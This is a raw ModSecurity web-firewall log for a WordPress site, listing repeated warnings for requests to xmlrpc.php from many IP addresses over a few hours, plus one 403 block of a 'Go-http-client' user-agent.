[Thu Apr 16 00:47:33.137744 2026] [:error] [pid 30957:tid 31007] [client 5.45.121.230:55438] [client 5.45.121.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.121.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_BJX5gwVEVXHfVSirXdAAAAFI"]
[Thu Apr 16 00:51:04.047855 2026] [:error] [pid 16664:tid 16728] [client 45.233.148.131:56666] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_B-Ddzt684awDJwRTUUwAAAYk"]
[Thu Apr 16 00:55:16.896820 2026] [:error] [pid 30958:tid 31016] [client 167.172.129.25:38938] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_C9MeG3wSKTO7NWFEJfgAAAMA"]
[Thu Apr 16 00:57:00.018725 2026] [:error] [pid 30957:tid 30990] [client 51.159.190.214:45348] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_DXH5gwVEVXHfVSirZugAAAEE"]
[Thu Apr 16 01:00:27.802450 2026] [:error] [pid 23913:tid 23924] [client 54.38.178.30:43134] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_EK1UaK3MLdSaLOygM4QAAAUk"]
[Thu Apr 16 01:02:57.070643 2026] [:error] [pid 30958:tid 31034] [client 74.244.195.97:52232] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_EwceG3wSKTO7NWFEMngAAANI"]
[Thu Apr 16 01:03:07.345857 2026] [:error] [pid 30958:tid 31040] [client 74.244.195.97:1717] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_Ey8eG3wSKTO7NWFEM3QAAANg"]
[Thu Apr 16 01:03:18.973443 2026] [:error] [pid 30957:tid 30993] [client 74.244.195.97:52855] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_E1n5gwVEVXHfVSirbtgAAAEQ"]
[Thu Apr 16 01:03:28.775434 2026] [:error] [pid 30958:tid 31031] [client 74.244.195.97:2286] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_E4MeG3wSKTO7NWFENHwAAAM8"]
[Thu Apr 16 01:03:39.433000 2026] [:error] [pid 30958:tid 31019] [client 74.244.195.97:25394] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_E68eG3wSKTO7NWFENVAAAAMM"]
[Thu Apr 16 01:03:50.051167 2026] [:error] [pid 30958:tid 31020] [client 74.244.195.97:10272] [client 74.244.195.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.244.195.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_E9seG3wSKTO7NWFENeQAAAMQ"]
[Thu Apr 16 01:05:22.997874 2026] [:error] [pid 23913:tid 23939] [client 191.242.48.126:37060] [client 191.242.48.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.242.48.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_FUlUaK3MLdSaLOygP6wAAAVg"]
[Thu Apr 16 01:05:23.803128 2026] [:error] [pid 23913:tid 23917] [client 46.225.100.56:60550] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_FU1UaK3MLdSaLOygP8AAAAUI"]
[Thu Apr 16 01:07:21.320190 2026] [:error] [pid 16664:tid 16722] [client 138.197.98.9:51372] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_FyTdzt684awDJwRTfhQAAAYM"]
[Thu Apr 16 01:09:17.903079 2026] [:error] [pid 30956:tid 30976] [client 82.223.101.71:50684] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_GPUBGUpjaWntNYq25JgAAABA"]
[Thu Apr 16 01:11:46.707467 2026] [:error] [pid 16664:tid 16719] [client 82.64.81.82:46486] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_G0jdzt684awDJwRTjYQAAAYA"]
[Thu Apr 16 01:11:56.938445 2026] [:error] [pid 37370:tid 37386] [client 146.59.70.139:60356] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_G3Hg-gnM2Ga0cGADG8gAAAQ4"]
[Thu Apr 16 01:13:05.255851 2026] [:error] [pid 38664:tid 38722] [client 212.55.193.47:39394] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_HIQkkiuc5iA1GbGGYcwAAAcY"]
[Thu Apr 16 01:34:35.248401 2026] [:error] [pid 37370:tid 37376] [client 80.239.207.207:44694] [client 80.239.207.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.239.207.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_MK3g-gnM2Ga0cGADdogAAAQQ"]
[Thu Apr 16 01:42:19.574913 2026] [:error] [pid 30956:tid 30972] [client 35.201.138.245:52173] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_N-0BGUpjaWntNYq3EkAAAAAw"]
[Thu Apr 16 01:45:51.036281 2026] [:error] [pid 912:tid 972] [client 161.35.47.44:58080] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_Oz8U0_VzYCBipADkusgAAAQQ"]
[Thu Apr 16 01:50:47.053133 2026] [:error] [pid 20548:tid 20559] [client 82.223.165.55:33620] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_P96kpqgnqCHq6bJav5gAAAIg"]
[Thu Apr 16 01:50:56.874638 2026] [:error] [pid 20548:tid 20561] [client 81.8.91.201:34244] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_QAKkpqgnqCHq6bJawBAAAAIo"]
[Thu Apr 16 01:52:14.018017 2026] [:error] [pid 912:tid 978] [client 52.206.118.176:44486] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_QTsU0_VzYCBipADkwnwAAAQo"]
[Thu Apr 16 01:55:24.816553 2026] [:error] [pid 34542:tid 34558] [client 34.165.13.211:46526] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_RDAdF4OGi-asleB6JigAAAU4"]
[Thu Apr 16 02:01:50.847462 2026] [:error] [pid 34542:tid 34552] [client 143.198.119.177:57306] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_SjgdF4OGi-asleB6N4wAAAUg"]
[Thu Apr 16 02:03:11.815606 2026] [:error] [pid 912:tid 981] [client 45.227.163.112:36998] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_S38U0_VzYCBipADkzrAAAAQ0"]
[Thu Apr 16 02:07:22.340720 2026] [:error] [pid 791:tid 847] [client 103.57.222.160:34178] [client 103.57.222.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.57.222.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_T2rxl5Y18om2fepndAwAAAEc"]
[Thu Apr 16 02:12:23.011339 2026] [:error] [pid 20548:tid 20551] [client 5.135.139.120:34232] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.139.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_VB6kpqgnqCHq6bJa-iwAAAIA"]
[Thu Apr 16 02:15:11.571471 2026] [:error] [pid 20548:tid 20561] [client 88.87.70.158:44724] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_Vr6kpqgnqCHq6bJbAgwAAAIo"]
[Thu Apr 16 02:21:02.776348 2026] [:error] [pid 792:tid 905] [client 151.252.48.20:56170] [client 151.252.48.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.252.48.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_XDt3PZ8z30TezIkZlSAAAANc"]
[Thu Apr 16 02:21:10.364908 2026] [:error] [pid 790:tid 835] [client 95.173.103.120:55300] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_XFiHz-rbrjNOa3VKrYwAAABY"]
[Thu Apr 16 02:27:16.999448 2026] [:error] [pid 54814:tid 54830] [client 172.71.148.70:13089] [client 172.71.148.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad_YhDrHu_-tAAe-BOW3cwAAAYo"]
[Thu Apr 16 02:34:45.163835 2026] [:error] [pid 34542:tid 34555] [client 157.230.249.241:35628] [client 157.230.249.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.249.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_aRQdF4OGi-asleB6dxgAAAUs"]
[Thu Apr 16 02:35:32.065607 2026] [:error] [pid 791:tid 847] [client 116.193.73.128:26809] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_adLxl5Y18om2fepngZgAAAEc"]
[Thu Apr 16 02:36:14.630809 2026] [:error] [pid 792:tid 905] [client 54.36.209.212:59062] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_ant3PZ8z30TezIkZnWQAAANc"]
[Thu Apr 16 02:39:04.401696 2026] [:error] [pid 54814:tid 54837] [client 83.96.201.169:54264] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_bSDrHu_-tAAe-BOW7SQAAAZE"]
[Thu Apr 16 02:39:23.815317 2026] [:error] [pid 54814:tid 54824] [client 83.96.201.169:52414] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_bWzrHu_-tAAe-BOW7cgAAAYQ"]
[Thu Apr 16 02:39:50.516505 2026] [:error] [pid 20548:tid 20567] [client 100.24.110.95:40348] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_bdqkpqgnqCHq6bJbJdgAAAJA"]
[Thu Apr 16 02:40:43.944100 2026] [:error] [pid 912:tid 973] [client 156.67.27.161:44752] [client 156.67.27.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.27.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_bq8U0_VzYCBipADk7nQAAAQU"]
[Thu Apr 16 02:41:59.746594 2026] [:error] [pid 54814:tid 54828] [client 35.234.37.132:34302] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_b9zrHu_-tAAe-BOW84gAAAYg"]
[Thu Apr 16 02:43:00.534663 2026] [:error] [pid 912:tid 981] [client 107.180.241.110:38190] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_cNMU0_VzYCBipADk8CQAAAQ0"]
[Thu Apr 16 02:44:46.783429 2026] [:error] [pid 20548:tid 20575] [client 66.94.126.158:38150] [client 66.94.126.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.94.126.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_cnqkpqgnqCHq6bJbLnwAAAJg"]
[Thu Apr 16 02:45:47.976031 2026] [:error] [pid 34542:tid 34558] [client 103.110.84.178:37346] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_c2wdF4OGi-asleB6hTAAAAU4"]
[Thu Apr 16 02:53:44.438669 2026] [:error] [pid 791:tid 853] [client 157.66.27.87:37244] [client 157.66.27.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_euLxl5Y18om2fepni0wAAAE0"]
[Thu Apr 16 02:53:54.867072 2026] [:error] [pid 20548:tid 20561] [client 185.199.223.39:36890] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_ewqkpqgnqCHq6bJbPugAAAIo"]
[Thu Apr 16 02:56:37.960454 2026] [:error] [pid 54814:tid 54828] [client 78.46.191.135:60014] [client 78.46.191.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.191.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_fZTrHu_-tAAe-BOXCMwAAAYg"]
[Thu Apr 16 02:57:22.006424 2026] [:error] [pid 20548:tid 20557] [client 217.154.102.39:35044] [client 217.154.102.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.102.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_fkqkpqgnqCHq6bJbRvQAAAIY"]
[Thu Apr 16 02:59:10.033879 2026] [:error] [pid 54814:tid 54833] [client 66.42.61.4:41736] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_f_jrHu_-tAAe-BOXCtgAAAY0"]
[Thu Apr 16 02:59:45.609430 2026] [:error] [pid 54814:tid 54822] [client 54.36.181.89:39146] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_gITrHu_-tAAe-BOXCygAAAYI"]
[Thu Apr 16 03:05:24.447550 2026] [:error] [pid 20548:tid 20565] [client 51.210.190.32:33280] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_hdKkpqgnqCHq6bJbVSAAAAI4"]
[Thu Apr 16 03:05:57.789490 2026] [:error] [pid 791:tid 847] [client 103.205.142.28:46456] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_hlbxl5Y18om2fepnkqwAAAEc"]
[Thu Apr 16 03:07:04.565914 2026] [:error] [pid 791:tid 864] [client 103.177.249.114:33410] [client 103.177.249.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.177.249.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_h2Lxl5Y18om2fepnk2wAAAFY"]
[Thu Apr 16 03:08:08.655143 2026] [:error] [pid 20548:tid 20553] [client 213.133.104.153:49740] [client 213.133.104.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.133.104.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_iGKkpqgnqCHq6bJbWmgAAAII"]
[Thu Apr 16 03:08:13.648650 2026] [:error] [pid 912:tid 981] [client 47.244.90.157:46010] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_iHcU0_VzYCBipADlB7wAAAQ0"]
[Thu Apr 16 03:17:12.945974 2026] [:error] [pid 791:tid 853] [client 13.239.161.156:52090] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_kOLxl5Y18om2fepnmSwAAAE0"]
[Thu Apr 16 03:20:01.926306 2026] [:error] [pid 792:tid 875] [client 148.113.202.220:60332] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_k4d3PZ8z30TezIkZutgAAAMY"]
